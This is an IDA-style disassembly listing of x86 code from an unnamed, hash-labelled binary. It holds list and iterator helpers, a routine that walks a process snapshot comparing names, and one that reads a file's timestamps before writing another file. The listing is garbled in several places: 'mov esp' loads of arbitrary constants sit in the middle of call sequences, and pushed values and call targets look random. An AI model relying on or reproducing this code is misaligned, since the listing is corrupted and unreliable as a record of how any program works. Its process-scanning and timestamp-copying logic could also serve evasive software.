; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B2F0:				; CODE XREF: _294ADE7B:00401C1Cj
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	382251h
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_401726
		push	eax
		call	dword ptr ds:1C1128h
		fld	dword ptr [esp+10h]
		fcomp	ds:flt_437024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B341
		mov	byte ptr [esi+19h], 1


loc_40B341:				; CODE XREF: _294ADE7B:0040B33Bj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B370:				; CODE XREF: _294ADE7B:00401B77j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B3A0
		mov	esi, [esp+0Ch]
		push	4E0894h
		mov	ecx, esi
		call	sub_401564
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B3A0:				; CODE XREF: _294ADE7B:0040B378j
		mov	esi, [esp+0Ch]
		push	67044Ah
		mov	ecx, esi
		call	sub_401564
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B3E0:				; CODE XREF: _294ADE7B:00401C44j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	338225h
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B410
		mov	byte ptr [esi+19h], 1


loc_40B410:				; CODE XREF: _294ADE7B:0040B40Aj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B430:				; CODE XREF: _294ADE7B:loc_4019ECj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	59C112h
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	loc_40B572
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_401479
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	2CE089h
		push	eax
		push	ecx
		mov	esp, 8EB382h
		call	sub_4010FF
		lea	ecx, [esp+6Ch]
		call	sub_4014D3
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_4013FC
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401B54
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401320
		test	al, al
		jz	loc_40B56B


loc_40B4D6:				; CODE XREF: _294ADE7B:0040B565j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401E10
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_401726
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401E10
		mov	ecx, [eax]
		call	sub_401726
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401E10
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_401726
		push	eax
		push	edi
		push	4F59C1h
		mov	ecx, ebx
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	67ACE0h
		call	sub_40178F
		add	esp, 24h
		push	73D670h
		call	dword ptr ds:39EB38h
		lea	ecx, [esp+6Ch]
		call	sub_4012FD
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401B54
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401320
		test	al, al
		jnz	loc_40B4D6


loc_40B56B:				; CODE XREF: _294ADE7B:0040B4D0j
		mov	al, 1
		jmp	loc_40B6FA
; ---------------------------------------------------------------------------


loc_40B572:				; CODE XREF: _294ADE7B:0040B467j
		lea	ecx, [ebp+32h]
		call	sub_401726
		push	eax
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_40B605
		push	1CF59Ch
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_401622
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4018F7
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_4011F9
		test	edi, edi
		jz	loc_40B6F8
		mov	ecx, edi
		call	sub_401726
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_401726
		push	eax
		push	4E7ACEh
		lea	ecx, [esi+69h]
		call	sub_401479
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	673D67h
		call	sub_40178F
		add	esp, 1Ch
		jmp	loc_40B6FA
; ---------------------------------------------------------------------------


loc_40B605:				; CODE XREF: _294ADE7B:0040B584j
		lea	ecx, [ebp+60h]
		call	sub_401479
		push	eax
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	loc_40B6F8
		push	339EB3h
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_401622
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4018F7
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_4011F9
		test	edi, edi
		jz	loc_40B6F8
		push	edi
		lea	ecx, [esp+18h]
		call	sub_40146F
		mov	esi, 8B39EBh
		push	1
		push	4D9CF5h
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011C2
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401DED
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_4011F9
		lea	ecx, [esp+14h]
		call	sub_401726
		push	eax
		mov	ecx, edi
		call	sub_401726
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_401726
		push	eax
		push	26CE7Ah
		lea	ecx, [esi+69h]
		call	sub_401479
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	13673Dh
		call	sub_40178F
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, 1
		jmp	short loc_40B6FA
; ---------------------------------------------------------------------------


loc_40B6F8:				; CODE XREF: _294ADE7B:0040B5C0j
					; _294ADE7B:0040B617j ...
		xor	al, al


loc_40B6FA:				; CODE XREF: _294ADE7B:0040B56Dj
					; _294ADE7B:0040B600j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B7D0	proc near		; CODE XREF: sub_401AF0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_402036
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_40B7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B810	proc near		; CODE XREF: sub_4014ECj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401B54
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4013FC
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401221
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E74
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_40B810	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B880	proc near		; CODE XREF: sub_4013FCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401F78
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401451
		mov	eax, esi
		pop	esi
		retn	4
sub_40B880	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B8C0	proc near		; CODE XREF: sub_401B54j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401451
		mov	eax, esi
		pop	esi
		retn	4
sub_40B8C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B8F0	proc near		; CODE XREF: sub_40182Fj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401B54
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B2C
		pop	esi
		pop	ecx
		retn	4
sub_40B8F0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B930	proc near		; CODE XREF: sub_401AEBj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401B54
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4013FC
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401221
		pop	esi
		add	esp, 0Ch
		retn
sub_40B930	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B980	proc near		; CODE XREF: sub_4014D3j
		push	esi
		mov	esi, ecx
		call	sub_401FAF
		mov	eax, esi
		pop	esi
		retn
sub_40B980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B9A0	proc near		; CODE XREF: sub_401E10j
		mov	eax, [ecx]
		push	eax
		call	sub_401780
		add	esp, 4
		retn
sub_40B9A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B9C0	proc near		; CODE XREF: sub_4012FDj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401F78
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40B9C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B9F0	proc near		; CODE XREF: sub_401320j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401BC7
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40B9F0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BA20	proc near		; CODE XREF: sub_401B2Cj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401618
		mov	edi, eax
		push	edi
		call	sub_401FB4
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_402036
		push	edi
		mov	ebx, eax
		call	sub_401FB4
		push	edi
		mov	[eax], ebx
		call	sub_401FB4
		mov	edi, [eax]
		push	edi
		call	sub_401FB4
		mov	ecx, [eax]
		push	ecx
		call	sub_401F78
		mov	edx, [esp+1Ch+arg_8]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401780
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401DD9
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+10h+arg_0]
		mov	ecx, esi
		call	sub_401451
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_40BA20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BAC0	proc near		; CODE XREF: sub_401221j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401320
		test	al, al
		jz	short loc_40BB1A


loc_40BAD8:				; CODE XREF: sub_40BAC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401A91
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401069
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401320
		test	al, al
		jnz	short loc_40BAD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40BB1A:				; CODE XREF: sub_40BAC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40BAC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BB50	proc near		; CODE XREF: sub_402036j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4014F6
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40BB65
		mov	edi, esi


loc_40BB65:				; CODE XREF: sub_40BB50+11j
		push	esi
		call	sub_401F78
		mov	[eax], edi
		mov	edi, [esp+0Ch+arg_4]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40BB7A
		mov	edi, esi


loc_40BB7A:				; CODE XREF: sub_40BB50+26j
		push	esi
		call	sub_401FB4
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40BB50	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BBA0	proc near		; CODE XREF: sub_401E74j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401EEC
		retn	4
sub_40BBA0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BBC0	proc near		; CODE XREF: sub_401F78j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40BBC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BBE0	proc near		; CODE XREF: sub_401780j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40BBE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BC00	proc near		; CODE XREF: sub_401FAFj
		mov	eax, ecx
		retn
sub_40BC00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BC20	proc near		; CODE XREF: sub_401451j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401055
		mov	eax, esi
		pop	esi
		retn	4
sub_40BC20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BC50	proc near		; CODE XREF: sub_401BC7j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40BC50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BC80	proc near		; CODE XREF: sub_401069j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401A91
		mov	ecx, eax
		call	sub_401618
		mov	esi, eax
		push	esi
		call	sub_401F78
		push	esi
		mov	ebx, eax
		call	sub_401FB4
		mov	ecx, [eax]
		push	ecx
		call	sub_401F78
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401FB4
		push	esi
		mov	ebx, eax
		call	sub_401F78
		mov	eax, [eax]
		push	eax
		call	sub_401FB4
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401780
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4011F4
		push	esi
		mov	ecx, edi
		call	sub_401E74
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_40BC80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD40	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40BD40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD60	proc near		; CODE XREF: sub_4014F6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401BF4
		add	esp, 8
		retn	4
sub_40BD60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD90	proc near		; CODE XREF: sub_401EECj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_430332
		pop	ecx
		retn	8
sub_40BD90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDB0	proc near		; CODE XREF: sub_401DD9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40118B
		add	esp, 8
		retn	8
sub_40BDB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDE0	proc near		; CODE XREF: sub_401055j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40BDE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE00	proc near		; CODE XREF: sub_401618j
		mov	eax, [ecx]
		retn
sub_40BE00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE20	proc near		; CODE XREF: sub_401A91j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4012FD
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40BE20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE50	proc near		; CODE XREF: sub_4011F4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_40BE50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE70	proc near		; CODE XREF: sub_40118Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011A4
		add	esp, 8
		test	eax, eax
		jz	short locret_40BE8B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40BE8B:				; CODE XREF: sub_40BE70+11j
		retn
sub_40BE70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEC0	proc near		; CODE XREF: sub_401046j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	9B39Eh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4018DE
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_401726
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	esp, 6626CEh
		call	sub_401523
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+58h+var_3C]
		push	1
		push	edx
		call	sub_4018DE
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 1
		call	sub_401726
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	esi, 0C5989Bh
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+5Ch+var_3C]
		push	13h
		push	ecx
		call	sub_4018DE
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 2
		call	sub_401726
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ebx, 8C5989h
		call	sub_401523
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+60h+var_24]
		push	eax
		call	sub_4018DE
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 3
		call	sub_401726
		add	esi, 0A3h
		push	eax
		push	esi
		mov	esp, 8A7166h
		call	sub_401523
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_4], edi
		call	sub_4011F9
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_40BEC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40C070:				; CODE XREF: _294ADE7B:00401370j
		sub	esp, 104h
		lea	eax, [esp+0]
		push	4D38B3h
		push	eax
		push	0
		call	dword ptr ds:269C59h
		push	eax
		call	dword ptr ds:534E2Ch
		mov	eax, ds:dword_43FF08
		test	eax, eax
		jz	loc_40C193
		mov	ecx, ds:dword_43FF04
		test	ecx, ecx
		jz	loc_40C193
		mov	ecx, ds:dword_43FDD0
		test	ecx, ecx
		jz	loc_40C193
		push	0
		push	2
		call	eax
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_43FF00, eax
		jz	loc_40C193
		push	ebp
		push	69A716h
		push	eax
		xor	ebp, ebp
		mov	ds:dword_43FDD8, 128h
		call	dword ptr ds:74D38Bh
		test	eax, eax
		jz	loc_40C17C
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, ds:dword_4B3ABC
		push	edi


loc_40C0FD:				; CODE XREF: _294ADE7B:0040C177j
		mov	ecx, 0C74D38h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	ecx, offset dword_471D34
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	2B8E9Ah
		add	edx, ecx
		push	edx
		call	esi
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C163
		mov	ebx, 8AB8E9h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	4D5C74h
		mov	ecx, ebx
		call	sub_4015F5
		push	eax
		call	esi
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C164


loc_40C163:				; CODE XREF: _294ADE7B:0040C13Bj
		inc	ebp


loc_40C164:				; CODE XREF: _294ADE7B:0040C161j
		mov	eax, ds:dword_43FF00
		push	26AE3Ah
		push	eax
		call	dword ptr ds:53571Dh
		test	eax, eax
		jnz	short loc_40C0FD
		pop	edi
		pop	esi
		pop	ebx


loc_40C17C:				; CODE XREF: _294ADE7B:0040C0E7j
		mov	ecx, ds:dword_43FF00
		push	ecx
		call	dword ptr ds:29AB8Eh
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40C193:				; CODE XREF: _294ADE7B:0040C096j
					; _294ADE7B:0040C0A4j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40C1F0:				; CODE XREF: _294ADE7B:00401E3Dj
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	14D5C7h
		push	eax
		call	dword ptr ds:0A6AE3h
		mov	esp, 68A6AEh
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	345357h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, ds:dword_4B38B4
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C2B6
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		call	dword ptr ds:1A29ABh
		mov	ebx, ds:dword_4B38C8
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	4D14D5h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C2B6
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
